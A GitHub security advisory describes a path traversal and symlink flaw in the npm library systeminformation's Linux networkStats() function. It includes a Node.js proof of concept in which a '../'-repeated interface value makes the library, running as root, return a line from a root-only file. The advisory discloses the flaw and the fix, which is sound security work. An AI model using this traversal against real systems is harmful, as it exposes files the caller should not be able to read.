GitHub Advisoryadvisory · npm
GHSA-4vjg-vx72-qq4g systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net
LOW
Official page ↗
- Aliases
- CVE-2026-116673
- Ecosystem
- npm
- Packages
- systeminformation
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-22, CWE-59
- Reviewed
- 2026-10-28
Affected packages
• npm systeminformation: < 5.33.14 → fixed in 5.33.14
Description
Summary
On Linux, `[email protected]` builds `/sys/class/net/` paths from the caller-supplied `networkStats(iface)` value without checking that the resolved path stays inside `/sys/class/net`. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.
Details
The strict string sanitizer removes shell metacharacters but retains `/` and `.`. The Linux implementation uses this value in an `fs.existsSync('/sys/class/net/' + iface)` check and then in seven `cat` paths for interface statistics. Both operations follow `..` path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.
The proof of concept below creates the expected statistics files in a directory writable by the unprivileged `nobody` user. Its `operstate` symlink points to a synthetic mode-0600 file under `/root`. The package call runs as root and returns the marker even though `nobody` cannot read that file.
PoC
Use a disposable Ubuntu Linux VM with Node.js, npm, and `runuser` installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:
```sh
mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install [email protected]
```
Save the following as `poc.cjs` in that directory, then run `sudo node poc.cjs`:
```js
'use strict';
const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');
const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
const fs = require('node:fs');
const root = process.env.SI_FIXTURE_ROOT;
const secret = process.env.SI_SECRET;
fs.mkdirSync(root + '/statistics', { recursive: true });
for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
fs.writeFileSync(root + '/statistics/' + name, '0\\n');
}
fs.symlinkSync(secret, root + '/operstate');
`;
(async () => {
try {
fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
fs.chmodSync(secret, 0o600);
execFileSync('runuser', [
'-u', 'nobody', '--', 'env',
`SI_FIXTURE_ROOT=${root}`,
`SI_SECRET=${secret}`,
process.execPath, '-e', fixtureCode
], { stdio: 'inherit' });
let nobodyCouldRead = true;
try {
execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
} catch {
nobodyCouldRead = false;
}
if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');
const iface = '../'.repeat(24) + root.slice(1);
const rows = await si.networkStats(iface);
const returned = String(rows[0]?.operstate ?? '').trim();
const success = returned === marker;
console.log(JSON.stringify({
nobodyCouldRead,
libraryReturnedRootOnlyMarker: success,
returnedOperstate: returned
}, null, 2));
if (!success) process.exitCode = 1;
} finally {
fs.rmSync(root, { recursive: true, force: true });
fs.rmSync(secret, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});
```
Expected result:
```json
{
"nobodyCouldRead": false,
"libraryReturnedRootOnlyMarker": true,
"returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_"
}
```
Impact
The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.
Related
Alias · CVE (1)
- CVE-2026-116673 systeminformation is a System and OS information library for node.js. vulnerability
References
- https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g web
- https://nvd.nist.gov/vuln/detail/CVE-2026-116673 advisory
- https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd web
- https://github.com/sebhildebrandt/systeminformation package
- https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14 web